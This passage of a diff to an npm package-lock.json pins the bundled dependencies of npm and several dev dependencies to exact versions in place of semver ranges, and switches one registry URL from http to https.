"^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0", - "npmlog": "2 || ^3.1.0 || ^4.0.0", - "once": "^1.3.3", - "request": "^2.74.0", - "retry": "^0.10.0", - "safe-buffer": "^5.1.1", - "semver": "2 >=2.2.1 || 3.x || 4 || 5", - "slide": "^1.1.3", - "ssri": "^5.2.4" + "concat-stream": "1.6.2", + "graceful-fs": "4.1.11", + "normalize-package-data": "2.4.0", + "npm-package-arg": "6.1.0", + "npmlog": "4.1.2", + "once": "1.4.0", + "request": "2.88.0", + "retry": "0.10.1", + "safe-buffer": "5.1.2", + "semver": "5.5.0", + "slide": "1.1.6", + "ssri": "5.3.0" }, "dependencies": { "retry": { @@ -11392,7 +11387,7 @@ "version": "5.3.0", "bundled": true, "requires": { - "safe-buffer": "^5.1.1" + "safe-buffer": "5.1.2" } } } @@ -11401,47 +11396,47 @@ "version": "1.1.0", "bundled": true, "requires": { - "bluebird": "^3.5.1", - "figgy-pudding": "^2.0.1", - "lru-cache": "^4.1.2", - "make-fetch-happen": "^3.0.0", - "npm-package-arg": "^6.0.0", - "safe-buffer": "^5.1.1" + "bluebird": "3.5.1", + "figgy-pudding": "2.0.1", + "lru-cache": "4.1.3", + "make-fetch-happen": "3.0.0", + "npm-package-arg": "6.1.0", + "safe-buffer": "5.1.2" }, "dependencies": { "cacache": { "version": "10.0.4", "bundled": true, "requires": { - "bluebird": "^3.5.1", - "chownr": "^1.0.1", - "glob": "^7.1.2", - "graceful-fs": "^4.1.11", - "lru-cache": "^4.1.1", - "mississippi": "^2.0.0", - "mkdirp": "^0.5.1", - "move-concurrently": "^1.0.1", - "promise-inflight": "^1.0.1", - "rimraf": "^2.6.2", - "ssri": "^5.2.4", - "unique-filename": "^1.1.0", - "y18n": "^4.0.0" + "bluebird": "3.5.1", + "chownr": "1.0.1", + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "lru-cache": "4.1.3", + "mississippi": "2.0.0", + "mkdirp": "0.5.1", + "move-concurrently": "1.0.1", + "promise-inflight": "1.0.1", + "rimraf": "2.6.2", + "ssri": "5.3.0", + "unique-filename": "1.1.0", + "y18n": "4.0.0" }, "dependencies": { "mississippi": { "version": "2.0.0", "bundled": true, "requires": { - "concat-stream": "^1.5.0", - "duplexify": "^3.4.2", - "end-of-stream": "^1.1.0", - "flush-write-stream": "^1.0.0", - "from2": "^2.1.0", - "parallel-transform": "^1.1.0", - "pump": "^2.0.1", - "pumpify": "^1.3.3", - "stream-each": "^1.1.0", - "through2": "^2.0.0" + "concat-stream": "1.6.2", + "duplexify": "3.6.0", + "end-of-stream": "1.4.1", + "flush-write-stream": "1.0.3", + "from2": "2.3.0", + "parallel-transform": "1.1.0", + "pump": "2.0.1", + "pumpify": "1.5.1", + "stream-each": "1.2.2", + "through2": "2.0.3" } } } @@ -11454,25 +11449,25 @@ "version": "3.0.0", "bundled": true, "requires": { - "agentkeepalive": "^3.4.1", - "cacache": "^10.0.4", - "http-cache-semantics": "^3.8.1", - "http-proxy-agent": "^2.1.0", - "https-proxy-agent": "^2.2.0", - "lru-cache": "^4.1.2", - "mississippi": "^3.0.0", - "node-fetch-npm": "^2.0.2", - "promise-retry": "^1.1.1", - "socks-proxy-agent": "^3.0.1", - "ssri": "^5.2.4" + "agentkeepalive": "3.4.1", + "cacache": "10.0.4", + "http-cache-semantics": "3.8.1", + "http-proxy-agent": "2.1.0", + "https-proxy-agent": "2.2.1", + "lru-cache": "4.1.3", + "mississippi": "3.0.0", + "node-fetch-npm": "2.0.2", + "promise-retry": "1.1.1", + "socks-proxy-agent": "3.0.1", + "ssri": "5.3.0" } }, "pump": { "version": "2.0.1", "bundled": true, "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" + "end-of-stream": "1.4.1", + "once": "1.4.0" } }, "smart-buffer": { @@ -11483,23 +11478,23 @@ "version": "1.1.10", "bundled": true, "requires": { - "ip": "^1.1.4", - "smart-buffer": "^1.0.13" + "ip": "1.1.5", + "smart-buffer": "1.1.15" } }, "socks-proxy-agent": { "version": "3.0.1", "bundled": true, "requires": { - "agent-base": "^4.1.0", - "socks": "^1.1.10" + "agent-base": "4.2.0", + "socks": "1.1.10" } }, "ssri": { "version": "5.3.0", "bundled": true, "requires": { - "safe-buffer": "^5.1.1" + "safe-buffer": "5.1.2" } } } @@ -11508,7 +11503,7 @@ "version": "2.0.2", "bundled": true, "requires": { - "path-key": "^2.0.0" + "path-key": "2.0.1" } }, "npm-user-validate": { @@ -11519,10 +11514,10 @@ "version": "4.1.2", "bundled": true, "requires": { - "are-we-there-yet": "~1.1.2", - "console-control-strings": "~1.1.0", - "gauge": "~2.7.3", - "set-blocking": "~2.0.0" + "are-we-there-yet": "1.1.4", + "console-control-strings": "1.1.0", + "gauge": "2.7.4", + "set-blocking": "2.0.0" } }, "number-is-nan": { @@ -11541,7 +11536,7 @@ "version": "1.4.0", "bundled": true, "requires": { - "wrappy": "1" + "wrappy": "1.0.2" } }, "opener": { @@ -11556,9 +11551,9 @@ "version": "2.1.0", "bundled": true, "requires": { - "execa": "^0.7.0", - "lcid": "^1.0.0", - "mem": "^1.1.0" + "execa": "0.7.0", + "lcid": "1.0.0", + "mem": "1.1.0" } }, "os-tmpdir": { @@ -11569,8 +11564,8 @@ "version": "0.1.5", "bundled": true, "requires": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.0" + "os-homedir": "1.0.2", + "os-tmpdir": "1.0.2" } }, "p-finally": { @@ -11581,14 +11576,14 @@ "version": "1.2.0", "bundled": true, "requires": { - "p-try": "^1.0.0" + "p-try": "1.0.0" } }, "p-locate": { "version": "2.0.0", "bundled": true, "requires": { - "p-limit": "^1.1.0" + "p-limit": "1.2.0" } }, "p-try": { @@ -11599,50 +11594,50 @@ "version": "4.0.1", "bundled": true, "requires": { - "got": "^6.7.1", - "registry-auth-token": "^3.0.1", - "registry-url": "^3.0.3", - "semver": "^5.1.0" + "got": "6.7.1", + "registry-auth-token": "3.3.2", + "registry-url": "3.1.0", + "semver": "5.5.0" } }, "pacote": { "version": "8.1.6", "bundled": true, "requires": { - "bluebird": "^3.5.1", - "cacache": "^11.0.2", - "get-stream": "^3.0.0", - "glob": "^7.1.2", - "lru-cache": "^4.1.3", - "make-fetch-happen": "^4.0.1", - "minimatch": "^3.0.4", - "minipass": "^2.3.3", - "mississippi": "^3.0.0", - "mkdirp": "^0.5.1", - "normalize-package-data": "^2.4.0", - "npm-package-arg": "^6.1.0", - "npm-packlist": "^1.1.10", - "npm-pick-manifest": "^2.1.0", - "osenv": "^0.1.5", - "promise-inflight": "^1.0.1", - "promise-retry": "^1.1.1", - "protoduck": "^5.0.0", - "rimraf": "^2.6.2", - "safe-buffer": "^5.1.2", - "semver": "^5.5.0", - "ssri": "^6.0.0", - "tar": "^4.4.3", - "unique-filename": "^1.1.0", - "which": "^1.3.0" + "bluebird": "3.5.1", + "cacache": "11.2.0", + "get-stream": "3.0.0", + "glob": "7.1.2", + "lru-cache": "4.1.3", + "make-fetch-happen": "4.0.1", + "minimatch": "3.0.4", + "minipass": "2.3.3", + "mississippi": "3.0.0", + "mkdirp": "0.5.1", + "normalize-package-data": "2.4.0", + "npm-package-arg": "6.1.0", + "npm-packlist": "1.1.11", + "npm-pick-manifest": "2.1.0", + "osenv": "0.1.5", + "promise-inflight": "1.0.1", + "promise-retry": "1.1.1", + "protoduck": "5.0.0", + "rimraf": "2.6.2", + "safe-buffer": "5.1.2", + "semver": "5.5.0", + "ssri": "6.0.0", + "tar": "4.4.6", + "unique-filename": "1.1.0", + "which": "1.3.1" } }, "parallel-transform": { "version": "1.1.0", "bundled": true, "requires": { - "cyclist": "~0.2.2", - "inherits": "^2.0.3", - "readable-stream": "^2.1.5" + "cyclist": "0.2.2", + "inherits": "2.0.3", + "readable-stream": "2.3.6" } }, "path-exists": { @@ -11685,8 +11680,8 @@ "version": "1.1.1", "bundled": true, "requires": { - "err-code": "^1.0.0", - "retry": "^0.10.0" + "err-code": "1.1.2", + "retry": "0.10.1" }, "dependencies": { "retry": { @@ -11699,7 +11694,7 @@ "version": "0.3.0", "bundled": true, "requires": { - "read": "1" + "read": "1.0.7" } }, "proto-list": { @@ -11710,7 +11705,7 @@ "version": "5.0.0", "bundled": true, "requires": { - "genfun": "^4.0.1" + "genfun": "4.0.1" } }, "prr": { @@ -11729,25 +11724,25 @@ "version": "3.0.0", "bundled": true, "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" + "end-of-stream": "1.4.1", + "once": "1.4.0" } }, "pumpify": { "version": "1.5.1", "bundled": true, "requires": { - "duplexify": "^3.6.0", - "inherits": "^2.0.3", - "pump": "^2.0.0" + "duplexify": "3.6.0", + "inherits": "2.0.3", + "pump": "2.0.1" }, "dependencies": { "pump": { "version": "2.0.1", "bundled": true, "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" + "end-of-stream": "1.4.1", + "once": "1.4.0" } } } @@ -11768,8 +11763,8 @@ "version": "6.1.0", "bundled": true, "requires": { - "decode-uri-component": "^0.2.0", - "strict-uri-encode": "^2.0.0" + "decode-uri-component": "0.2.0", + "strict-uri-encode": "2.0.0" } }, "qw": { @@ -11780,10 +11775,10 @@ "version": "1.2.7", "bundled": true, "requires": { - "deep-extend": "^0.5.1", - "ini": "~1.3.0", - "minimist": "^1.2.0", - "strip-json-comments": "~2.0.1" + "deep-extend": "0.5.1", + "ini": "1.3.5", + "minimist": "1.2.0", + "strip-json-comments": "2.0.1" }, "dependencies": { "minimist": { @@ -11796,113 +11791,113 @@ "version": "1.0.7", "bundled": true, "requires": { - "mute-stream": "~0.0.4" + "mute-stream": "0.0.7" } }, "read-cmd-shim": { "version": "1.0.1", "bundled": true, "requires": { - "graceful-fs": "^4.1.2" + "graceful-fs": "4.1.11" } }, "read-installed": { "version": "4.0.3", "bundled": true, "requires": { - "debuglog": "^1.0.1", - "graceful-fs": "^4.1.2", - "read-package-json": "^2.0.0", - "readdir-scoped-modules": "^1.0.0", - "semver": "2 || 3 || 4 || 5", - "slide": "~1.1.3", - "util-extend": "^1.0.1" + "debuglog": "1.0.1", + "graceful-fs": "4.1.11", + "read-package-json": "2.0.13", + "readdir-scoped-modules": "1.0.2", + "semver": "5.5.0", + "slide": "1.1.6", + "util-extend": "1.0.3" } }, "read-package-json": { "version": "2.0.13", "bundled": true, "requires": { - "glob": "^7.1.1", - "graceful-fs": "^4.1.2", - "json-parse-better-errors": "^1.0.1", - "normalize-package-data": "^2.0.0", - "slash": "^1.0.0" + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "json-parse-better-errors": "1.0.2", + "normalize-package-data": "2.4.0", + "slash": "1.0.0" } }, "read-package-tree": { "version": "5.2.1", "bundled": true, "requires": { - "debuglog": "^1.0.1", - "dezalgo": "^1.0.0", - "once": "^1.3.0", - "read-package-json": "^2.0.0", - "readdir-scoped-modules": "^1.0.0" + "debuglog": "1.0.1", + "dezalgo": "1.0.3", + "once": "1.4.0", + "read-package-json": "2.0.13", + "readdir-scoped-modules": "1.0.2" } }, "readable-stream": { "version": "2.3.6", "bundled": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.2", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "readdir-scoped-modules": { "version": "1.0.2", "bundled": true, "requires": { - "debuglog": "^1.0.1", - "dezalgo": "^1.0.0", - "graceful-fs": "^4.1.2", - "once": "^1.3.0" + "debuglog": "1.0.1", + "dezalgo": "1.0.3", + "graceful-fs": "4.1.11", + "once": "1.4.0" } }, "registry-auth-token": { "version": "3.3.2", "bundled": true, "requires": { - "rc": "^1.1.6", - "safe-buffer": "^5.0.1" + "rc": "1.2.7", + "safe-buffer": "5.1.2" } }, "registry-url": { "version": "3.1.0", "bundled": true, "requires": { - "rc": "^1.0.1" + "rc": "1.2.7" } }, "request": { "version": "2.88.0", "bundled": true, "requires": { - "aws-sign2": "~0.7.0", - "aws4": "^1.8.0", - "caseless": "~0.12.0", - "combined-stream": "~1.0.6", - "extend": "~3.0.2", - "forever-agent": "~0.6.1", - "form-data": "~2.3.2", - "har-validator": "~5.1.0", - "http-signature": "~1.2.0", - "is-typedarray": "~1.0.0", - "isstream": "~0.1.2", - "json-stringify-safe": "~5.0.1", - "mime-types": "~2.1.19", - "oauth-sign": "~0.9.0", - "performance-now": "^2.1.0", - "qs": "~6.5.2", - "safe-buffer": "^5.1.2", - "tough-cookie": "~2.4.3", - "tunnel-agent": "^0.6.0", - "uuid": "^3.3.2" + "aws-sign2": "0.7.0", + "aws4": "1.8.0", + "caseless": "0.12.0", + "combined-stream": "1.0.6", + "extend": "3.0.2", + "forever-agent": "0.6.1", + "form-data": "2.3.2", + "har-validator": "5.1.0", + "http-signature": "1.2.0", + "is-typedarray": "1.0.0", + "isstream": "0.1.2", + "json-stringify-safe": "5.0.1", + "mime-types": "2.1.19", + "oauth-sign": "0.9.0", + "performance-now": "2.1.0", + "qs": "6.5.2", + "safe-buffer": "5.1.2", + "tough-cookie": "2.4.3", + "tunnel-agent": "0.6.0", + "uuid": "3.3.2" } }, "require-directory": { @@ -11925,14 +11920,14 @@ "version": "2.6.2", "bundled": true, "requires": { - "glob": "^7.0.5" + "glob": "7.1.2" } }, "run-queue": { "version": "1.0.3", "bundled": true, "requires": { - "aproba": "^1.1.1" + "aproba": "1.2.0" } }, "safe-buffer": { @@ -11951,7 +11946,7 @@ "version": "2.1.0", "bundled": true, "requires": { - "semver": "^5.0.3" + "semver": "5.5.0" } }, "set-blocking": { @@ -11962,15 +11957,15 @@ "version": "2.0.1", "bundled": true, "requires": { - "graceful-fs": "^4.1.2", - "readable-stream": "^2.0.2" + "graceful-fs": "4.1.11", + "readable-stream": "2.3.6" } }, "shebang-command": { "version": "1.2.0", "bundled": true, "requires": { - "shebang-regex": "^1.0.0" + "shebang-regex": "1.0.0" } }, "shebang-regex": { @@ -11997,16 +11992,16 @@ "version": "2.2.0", "bundled": true, "requires": { - "ip": "^1.1.5", - "smart-buffer": "^4.0.1" + "ip": "1.1.5", + "smart-buffer": "4.0.1" } }, "socks-proxy-agent": { "version": "4.0.1", "bundled": true, "requires": { - "agent-base": "~4.2.0", - "socks": "~2.2.0" + "agent-base": "4.2.0", + "socks": "2.2.0" } }, "sorted-object": { @@ -12017,16 +12012,16 @@ "version": "2.1.3", "bundled": true, "requires": { - "from2": "^1.3.0", - "stream-iterate": "^1.1.0" + "from2": "1.3.0", + "stream-iterate": "1.2.0" }, "dependencies": { "from2": { "version": "1.3.0", "bundled": true, "requires": { - "inherits": "~2.0.1", - "readable-stream": "~1.1.10" + "inherits": "2.0.3", + "readable-stream": "1.1.14" } }, "isarray": { @@ -12037,10 +12032,10 @@ "version": "1.1.14", "bundled": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", + "core-util-is": "1.0.2", + "inherits": "2.0.3", "isarray": "0.0.1", - "string_decoder": "~0.10.x" + "string_decoder": "0.10.31" } }, "string_decoder": { @@ -12053,8 +12048,8 @@ "version": "3.0.0", "bundled": true, "requires": { - "spdx-expression-parse": "^3.0.0", - "spdx-license-ids": "^3.0.0" + "spdx-expression-parse": "3.0.0", + "spdx-license-ids": "3.0.0" } }, "spdx-exceptions": { @@ -12065,8 +12060,8 @@ "version": "3.0.0", "bundled": true, "requires": { - "spdx-exceptions": "^2.1.0", - "spdx-license-ids": "^3.0.0" + "spdx-exceptions": "2.1.0", + "spdx-license-ids": "3.0.0" } }, "spdx-license-ids": { @@ -12077,15 +12072,15 @@ "version": "1.14.2", "bundled": true, "requires": { - "asn1": "~0.2.3", - "assert-plus": "^1.0.0", - "bcrypt-pbkdf": "^1.0.0", - "dashdash": "^1.12.0", - "ecc-jsbn": "~0.1.1", - "getpass": "^0.1.1", - "jsbn": "~0.1.0", - "safer-buffer": "^2.0.2", - "tweetnacl": "~0.14.0" + "asn1": "0.2.4", + "assert-plus": "1.0.0", + "bcrypt-pbkdf": "1.0.2", + "dashdash": "1.14.1", + "ecc-jsbn": "0.1.2", + "getpass": "0.1.7", + "jsbn": "0.1.1", + "safer-buffer": "2.1.2", + "tweetnacl": "0.14.5" } }, "ssri": { @@ -12096,16 +12091,16 @@ "version": "1.2.2", "bundled": true, "requires": { - "end-of-stream": "^1.1.0", - "stream-shift": "^1.0.0" + "end-of-stream": "1.4.1", + "stream-shift": "1.0.0" } }, "stream-iterate": { "version": "1.2.0", "bundled": true, "requires": { - "readable-stream": "^2.1.5", - "stream-shift": "^1.0.0" + "readable-stream": "2.3.6", + "stream-shift": "1.0.0" } }, "stream-shift": { @@ -12120,8 +12115,8 @@ "version": "2.1.1", "bundled": true, "requires": { - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^4.0.0" + "is-fullwidth-code-point": "2.0.0", + "strip-ansi": "4.0.0" }, "dependencies": { "ansi-regex": { @@ -12136,7 +12131,7 @@ "version": "4.0.0", "bundled": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } } } @@ -12145,7 +12140,7 @@ "version": "1.1.1", "bundled": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.2" } }, "stringify-package": { @@ -12156,7 +12151,7 @@ "version": "3.0.1", "bundled": true, "requires": { - "ansi-regex": "^2.0.0" + "ansi-regex": "2.1.1" } }, "strip-eof": { @@ -12171,20 +12166,20 @@ "version": "5.4.0", "bundled": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } }, "tar": { "version": "4.4.6", "bundled": true, "requires": { - "chownr": "^1.0.1", - "fs-minipass": "^1.2.5", - "minipass": "^2.3.3", - "minizlib": "^1.1.0", - "mkdirp": "^0.5.0", - "safe-buffer": "^5.1.2", - "yallist": "^3.0.2" + "chownr": "1.0.1", + "fs-minipass": "1.2.5", + "minipass": "2.3.3", + "minizlib": "1.1.0", + "mkdirp": "0.5.1", + "safe-buffer": "5.1.2", + "yallist": "3.0.2" }, "dependencies": { "yallist": { @@ -12197,7 +12192,7 @@ "version": "1.2.0", "bundled": true, "requires": { - "execa": "^0.7.0" + "execa": "0.7.0" } }, "text-table": { @@ -12212,8 +12207,8 @@ "version": "2.0.3", "bundled": true, "requires": { - "readable-stream": "^2.1.5", - "xtend": "~4.0.1" + "readable-stream": "2.3.6", + "xtend": "4.0.1" } }, "timed-out": { @@ -12228,15 +12223,15 @@ "version": "2.4.3", "bundled": true, "requires": { - "psl": "^1.1.24", - "punycode": "^1.4.1" + "psl": "1.1.29", + "punycode": "1.4.1" } }, "tunnel-agent": { "version": "0.6.0", "bundled": true, "requires": { - "safe-buffer": "^5.0.1" + "safe-buffer": "5.1.2" } }, "tweetnacl": { @@ -12260,21 +12255,21 @@ "version": "1.1.0", "bundled": true, "requires": { - "unique-slug": "^2.0.0" + "unique-slug": "2.0.0" } }, "unique-slug": { "version": "2.0.0", "bundled": true, "requires": { - "imurmurhash": "^0.1.4" + "imurmurhash": "0.1.4" } }, "unique-string": { "version": "1.0.0", "bundled": true, "requires": { - "crypto-random-string": "^1.0.0" + "crypto-random-string": "1.0.0" } }, "unpipe": { @@ -12289,23 +12284,23 @@ "version": "2.5.0", "bundled": true, "requires": { - "boxen": "^1.2.1", - "chalk": "^2.0.1", - "configstore": "^3.0.0", - "import-lazy": "^2.1.0", - "is-ci": "^1.0.10", - "is-installed-globally": "^0.1.0", - "is-npm": "^1.0.0", - "latest-version": "^3.0.0", - "semver-diff": "^2.0.0", - "xdg-basedir": "^3.0.0" + "boxen": "1.3.0", + "chalk": "2.4.1", + "configstore": "3.1.2", + "import-lazy": "2.1.0", + "is-ci": "1.1.0", + "is-installed-globally": "0.1.0", + "is-npm": "1.0.0", + "latest-version": "3.1.0", + "semver-diff": "2.1.0", + "xdg-basedir": "3.0.0" } }, "url-parse-lax": { "version": "1.0.0", "bundled": true, "requires": { - "prepend-http": "^1.0.1" + "prepend-http": "1.0.4" } }, "util-deprecate": { @@ -12324,38 +12319,38 @@ "version": "3.0.4", "bundled": true, "requires": { - "spdx-correct": "^3.0.0", - "spdx-expression-parse": "^3.0.0" + "spdx-correct": "3.0.0", + "spdx-expression-parse": "3.0.0" } }, "validate-npm-package-name": { "version": "3.0.0", "bundled": true, "requires": { - "builtins": "^1.0.3" + "builtins": "1.0.3" } }, "verror": { "version": "1.10.0", "bundled": true, "requires": { - "assert-plus": "^1.0.0", + "assert-plus": "1.0.0", "core-util-is": "1.0.2", - "extsprintf": "^1.2.0" + "extsprintf": "1.3.0" } }, "wcwidth": { "version": "1.0.1", "bundled": true, "requires": { - "defaults": "^1.0.3" + "defaults": "1.0.3" } }, "which": { "version": "1.3.1", "bundled": true, "requires": { - "isexe": "^2.0.0" + "isexe": "2.0.0" } }, "which-module": { @@ -12366,16 +12361,16 @@ "version": "1.1.2", "bundled": true, "requires": { - "string-width": "^1.0.2" + "string-width": "1.0.2" }, "dependencies": { "string-width": { "version": "1.0.2", "bundled": true, "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" } } } @@ -12384,31 +12379,31 @@ "version": "2.0.0", "bundled": true, "requires": { - "string-width": "^2.1.1" + "string-width": "2.1.1" } }, "worker-farm": { "version": "1.6.0", "bundled": true, "requires": { - "errno": "~0.1.7" + "errno": "0.1.7" } }, "wrap-ansi": { "version": "2.1.0", "bundled": true, "requires": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1" + "string-width": "1.0.2", + "strip-ansi": "3.0.1" }, "dependencies": { "string-width": { "version": "1.0.2", "bundled": true, "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" } } } @@ -12421,9 +12416,9 @@ "version": "2.3.0", "bundled": true, "requires": { - "graceful-fs": "^4.1.11", - "imurmurhash": "^0.1.4", - "signal-exit": "^3.0.2" + "graceful-fs": "4.1.11", + "imurmurhash": "0.1.4", + "signal-exit": "3.0.2" } }, "xdg-basedir": { @@ -12446,18 +12441,18 @@ "version": "11.0.0", "bundled": true, "requires": { - "cliui": "^4.0.0", - "decamelize": "^1.1.1", - "find-up": "^2.1.0", - "get-caller-file": "^1.0.1", - "os-locale": "^2.0.0", - "require-directory": "^2.1.1", - "require-main-filename": "^1.0.1", - "set-blocking": "^2.0.0", - "string-width": "^2.0.0", - "which-module": "^2.0.0", - "y18n": "^3.2.1", - "yargs-parser": "^9.0.2" + "cliui": "4.1.0", + "decamelize": "1.2.0", + "find-up": "2.1.0", + "get-caller-file": "1.0.2", + "os-locale": "2.1.0", + "require-directory": "2.1.1", + "require-main-filename": "1.0.1", + "set-blocking": "2.0.0", + "string-width": "2.1.1", + "which-module": "2.0.0", + "y18n": "3.2.1", + "yargs-parser": "9.0.2" }, "dependencies": { "y18n": { @@ -12470,7 +12465,7 @@ "version": "9.0.2", "bundled": true, "requires": { - "camelcase": "^4.1.0" + "camelcase": "4.1.0" } } } @@ -12481,7 +12476,7 @@ "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=", "dev": true, "requires": { - "path-key": "^2.0.0" + "path-key": "2.0.1" } }, "nth-check": { @@ -12490,7 +12485,7 @@ "integrity": "sha1-mSms32KPwsQQmN6rgqxYDPFJquQ=", "dev": true, "requires": { - "boolbase": "~1.0.0" + "boolbase": "1.0.0" } }, "null-loader": { @@ -12528,9 +12523,9 @@ "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=", "dev": true, "requires": { - "copy-descriptor": "^0.1.0", - "define-property": "^0.2.5", - "kind-of": "^3.0.3" + "copy-descriptor": "0.1.1", + "define-property": "0.2.5", + "kind-of": "3.2.2" }, "dependencies": { "define-property": { @@ -12539,7 +12534,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } } } @@ -12562,7 +12557,7 @@ "integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=", "dev": true, "requires": { - "isobject": "^3.0.0" + "isobject": "3.0.1" }, "dependencies": { "isobject": { @@ -12579,10 +12574,10 @@ "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==", "dev": true, "requires": { - "define-properties": "^1.1.2", - "function-bind": "^1.1.1", - "has-symbols": "^1.0.0", - "object-keys": "^1.0.11" + "define-properties": "1.1.3", + "function-bind": "1.1.1", + "has-symbols": "1.0.0", + "object-keys": "1.0.12" } }, "object.getownpropertydescriptors": { @@ -12591,8 +12586,8 @@ "integrity": "sha1-h1jIRvW0B62rDyNuCYbxSwUcqhY=", "dev": true, "requires": { - "define-properties": "^1.1.2", - "es-abstract": "^1.5.1" + "define-properties": "1.1.3", + "es-abstract": "1.12.0" } }, "object.omit": { @@ -12602,8 +12597,8 @@ "dev": true, "optional": true, "requires": { - "for-own": "^0.1.4", - "is-extendable": "^0.1.1" + "for-own": "0.1.5", + "is-extendable": "0.1.1" } }, "object.pick": { @@ -12612,7 +12607,7 @@ "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=", "dev": true, "requires": { - "isobject": "^3.0.1" + "isobject": "3.0.1" }, "dependencies": { "isobject": { @@ -12650,7 +12645,7 @@ "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", "dev": true, "requires": { - "wrappy": "1" + "wrappy": "1.0.2" } }, "onetime": { @@ -12659,7 +12654,7 @@ "integrity": "sha1-BnQoIw/WdEOyeUsiu6UotoZ5YtQ=", "dev": true, "requires": { - "mimic-fn": "^1.0.0" + "mimic-fn": "1.2.0" } }, "open": { @@ -12674,7 +12669,7 @@ "integrity": "sha512-YF9MNdVy/0qvJvDtunAOzFw9iasOQHpVthTCvGzxt61Il64AYSGdK+rYwld7NAfk9qJ7dt+hymBNSc9LNYS+Sw==", "dev": true, "requires": { - "is-wsl": "^1.1.0" + "is-wsl": "1.1.0" } }, "optimist": { @@ -12683,8 +12678,8 @@ "integrity": "sha1-2j6nRob6IaGaERwybpDrFaAZZoY=", "dev": true, "requires": { - "minimist": "~0.0.1", - "wordwrap": "~0.0.2" + "minimist": "0.0.10", + "wordwrap": "0.0.3" }, "dependencies": { "minimist": { @@ -12707,12 +12702,12 @@ "integrity": "sha1-NkxeQJ0/TWMB1sC0wFu6UBgK62Q=", "dev": true, "requires": { - "deep-is": "~0.1.3", - "fast-levenshtein": "~2.0.4", - "levn": "~0.3.0", - "prelude-ls": "~1.1.2", - "type-check": "~0.3.2", - "wordwrap": "~1.0.0" + "deep-is": "0.1.3", + "fast-levenshtein": "2.0.6", + "levn": "0.3.0", + "prelude-ls": "1.1.2", + "type-check": "0.3.2", + "wordwrap": "1.0.0" } }, "original": { @@ -12721,7 +12716,7 @@ "integrity": "sha512-hyBVl6iqqUOJ8FqRe+l/gS8H+kKYjrEndd5Pm1MfBtsEKA038HkkdbAl/72EAXGyonD/PFsvmVG+EvcIpliMBg==", "dev": true, "requires": { - "url-parse": "^1.4.3" + "url-parse": "1.4.3" } }, "os-browserify": { @@ -12742,9 +12737,9 @@ "integrity": "sha512-3sslG3zJbEYcaC4YVAvDorjGxc7tv6KVATnLPZONiljsUncvihe9BQoVCEs0RZ1kmf4Hk9OBqlZfJZWI4GanKA==", "dev": true, "requires": { - "execa": "^0.7.0", - "lcid": "^1.0.0", - "mem": "^1.1.0" + "execa": "0.7.0", + "lcid": "1.0.0", + "mem": "1.1.0" } }, "os-tmpdir": { @@ -12759,9 +12754,9 @@ "integrity": "sha1-0KM+7+YaIF+suQCS6CZZjVJFznY=", "dev": true, "requires": { - "graceful-fs": "^4.1.4", - "mkdirp": "^0.5.1", - "object-assign": "^4.1.0" + "graceful-fs": "4.1.11", + "mkdirp": "0.5.1", + "object-assign": "4.1.1" } }, "p-defer": { @@ -12788,7 +12783,7 @@ "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==", "dev": true, "requires": { - "p-try": "^1.0.0" + "p-try": "1.0.0" } }, "p-locate": { @@ -12797,7 +12792,7 @@ "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=", "dev": true, "requires": { - "p-limit": "^1.1.0" + "p-limit": "1.3.0" } }, "p-map": { @@ -12824,9 +12819,9 @@ "integrity": "sha1-1BDwZbBdojCB/NEPKIVMKb2jOwY=", "dev": true, "requires": { - "cyclist": "~0.2.2", - "inherits": "^2.0.3", - "readable-stream": "^2.1.5" + "cyclist": "0.2.2", + "inherits": "2.0.3", + "readable-stream": "2.3.6" }, "dependencies": { "isarray": { @@ -12843,17 +12838,17 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { 